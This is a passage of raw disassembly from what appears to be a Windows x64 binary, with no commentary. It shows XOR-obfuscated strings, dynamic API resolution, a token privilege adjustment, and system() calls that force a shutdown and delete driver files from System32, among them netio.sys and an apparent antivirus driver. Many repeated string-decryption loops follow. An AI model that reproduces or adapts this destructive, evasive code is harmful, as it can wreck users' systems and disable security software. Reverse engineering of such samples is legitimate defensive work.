mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x560]
vmovdqu xmmword [rbp + 0x560], xmm1
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x2c10]
call fcn.140083370
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400e8cac
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140085fe0
lea rdx, [0x1400838e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2c10]
call fcn.140060f20
nop
mov rcx, rdi
call fcn.1400808a0
nop
lea rcx, [rbp + 0xe48]
call fcn.1400808a0
call 0x140000000
vmovsd xmm0, qword [0x1401f15d0]
vmovsd qword [rbp + 0x11a], xmm0
mov eax, dword [0x1401f15d8]
mov dword [rbp + 0x122], eax
movzx eax, word [0x1401f15dc]
mov word [rbp + 0x126], ax
cmp byte [0x1401f15dd], r13b
je 0x1400e8d57
mov edi, r13d
lea r8, [rbp + 0x11a]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, 0x34
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 0xe
jl 0x1400e8d2d
lea rdx, [rbp + 0x11a]
lea rcx, [rbp + 0x1340]
call fcn.140080970
mov rdx, rax
lea rcx, [0x1403472f0]
call fcn.1400ff390
call fcn.140060fa0
call fcn.1400cd7e8
call fcn.140060fa0
movabs rax, 0xddce73a4eb36afa6
mov qword [rbp + 0x570], rax
movabs rax, 0x683c37c88a4edba4
mov qword [rbp + 0x578], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x570]
vmovdqu xmmword [rbp + 0x570], xmm1
lea rcx, [rbp + 0x570]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1400e8f2d
mov r14d, reloc.WS2_32.dll_recv
mov r8d, r14d
xor edx, edx
lea rcx, [rbp + 0x580]
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x28]
lea edx, [r14 + 0x18]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400e8e77
lea r8, [rbp + 0xe88]
lea rdx, [0x1401f1308]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp + 0x28]
test eax, eax
je 0x1400e8e71
mov dword [rbp + 0x580], ebx
mov rax, qword [rbp + 0xe88]
mov qword [rbp + 0x584], rax
mov dword [rbp + 0x58c], 2
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, r14d
lea r8, [rbp + 0x580]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0xc3fa29add43eaf9a
mov qword [rbp + 0x750], rax
movabs rax, 0x2b4f7ebbf92bb8a7
mov qword [rbp + 0x758], rax
movabs rax, 0x132588abf9aeb2ba
mov qword [rbp + 0x760], rax
movabs rcx, 0x16c683c83856dbc8
mov qword [rbp + 0x768], rcx
movabs rax, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x750]
vmovdqu xmmword [rbp + 0x750], xmm1
vmovdqu xmm2, xmmword [rsp + 0x70]
vpxor xmm0, xmm2, xmmword [rbp + 0x760]
vmovdqu xmmword [rbp + 0x760], xmm0
lea rdx, [rbp + 0x750]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400e8f2d
xor r8d, r8d
xor edx, edx
mov cl, bl
call rax
lea rcx, str.shutdown_shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_vhda64v.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_netio.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_aswVmm.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1403472f0]
call 0x140000000
lea rcx, str.shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140060fa0
lea rdx, [0x1401e989a]
lea rcx, [rbp + 0x1360]
call fcn.140080970
mov rdx, rax
lea rcx, [0x1403472f0]
call fcn.1400fa250
lea rdx, [0x1400ef648]
lea rcx, [rbp + 0xf20]
call fcn.1400c8728
nop
lea rcx, [rbp + 0xf20]
call fcn.1400e1264
call fcn.140063940
call fcn.1400d180c
call fcn.1400dffe4
call fcn.140063940
xor r8d, r8d
mov dl, bl
lea rcx, [0x1403472f0]
call fcn.1401946f0
call fcn.140063940
call fcn.140063940
call fcn.1400cd67c
call fcn.140063940
mov sil, 0x34
cmp byte [0x14034796f], r13b
je 0x1400e903b
mov edi, r13d
lea r8, [0x140347958]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e9010
cmp byte [0x140346c37], r13b
je 0x1400e9079
mov edi, r13d
lea r8, [0x140346c20]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e904e
cmp byte [0x140347627], r13b
je 0x1400e90b7
mov edi, r13d
lea r8, [0x140347610]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e908c
cmp byte [0x140346977], r13b
je 0x1400e90f5
mov edi, r13d
lea r8, [0x140346960]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e90ca
cmp byte [0x140346747], r13b
je 0x1400e9133
mov edi, r13d
lea r8, [0x140346730]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e9108
cmp byte [0x14034757f], r13b
je 0x1400e9171
mov edi, r13d
lea r8, [0x140347568]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e9146
cmp byte [0x140346db7], r13b
je 0x1400e91af
mov edi, r13d
lea r8, [0x140346da0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e9184
cmp byte [0x14034651f], r13b
je 0x1400e91ed
mov edi, r13d
lea r8, [0x140346508]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e91c2
cmp byte [0x1403465f7], r13b
je 0x1400e922b
mov edi, r13d
lea r8, [0x1403465e0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e9200
cmp byte [0x140347007], r13b
je 0x1400e9269
mov edi, r13d
lea r8, [0x140346ff0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e923e
cmp byte [0x140347277], r13b
je 0x1400e92a7
mov edi, r13d
lea r8, [0x140347260]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e927c
cmp byte [0x14034782f], r13b
je 0x1400e92e5
mov edi, r13d
lea r8, [0x140347818]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e92ba
cmp byte [0x1403463df], r13b
je 0x1400e9323
mov edi, r13d
lea r8, [0x1403463c8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e92f8
cmp byte [0x140346b8f], r13b
je 0x1400e9361
mov edi, r13d
lea r8, [0x140346b78]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e9336
cmp byte [0x1403467cf], r13b
je 0x1400e939f
mov edi, r13d
lea r8, [0x1403467b8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e9374
cmp byte [0x140346c67], r13b
je 0x1400e93dd
mov edi, r13d
lea r8, [0x140346c50]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e93b2
cmp byte [0x1403463af], r13b
je 0x1400e941b
mov edi, r13d
lea r8, [0x140346398]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e93f0
cmp byte [0x140346c4f], r13b
je 0x1400e9459
mov edi, r13d
lea r8, [0x140346c38]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e942e
cmp byte [0x140346ab7], r13b
je 0x1400e9497
mov edi, r13d
lea r8, [0x140346aa0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e946c
cmp byte [0x140347147], r13b
je 0x1400e94d5
mov edi, r13d
lea r8, [0x140347130]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e94aa
cmp byte [0x14034763f], r13b
je 0x1400e9513
mov edi, r13d
lea r8, [0x140347628]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e94e8
cmp byte [0x140346c07], r13b
je 0x1400e9551
mov edi, r13d
lea r8, [0x140346bf0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e9526
cmp byte [0x14034646f], r13b
je 0x1400e958f
mov edi, r13d
lea r8, [0x140346458]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e9564
cmp byte [0x140347207], r13b
je 0x1400e95cd
mov edi, r13d
lea r8, [0x1403471f0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e95a2
cmp byte [0x14034640f], r13b
je 0x1400e960b
mov edi, r13d
lea r8, [0x1403463f8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, sil
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e95e0
cmp byte [0x140346aff], r13b
je 0x1400e9649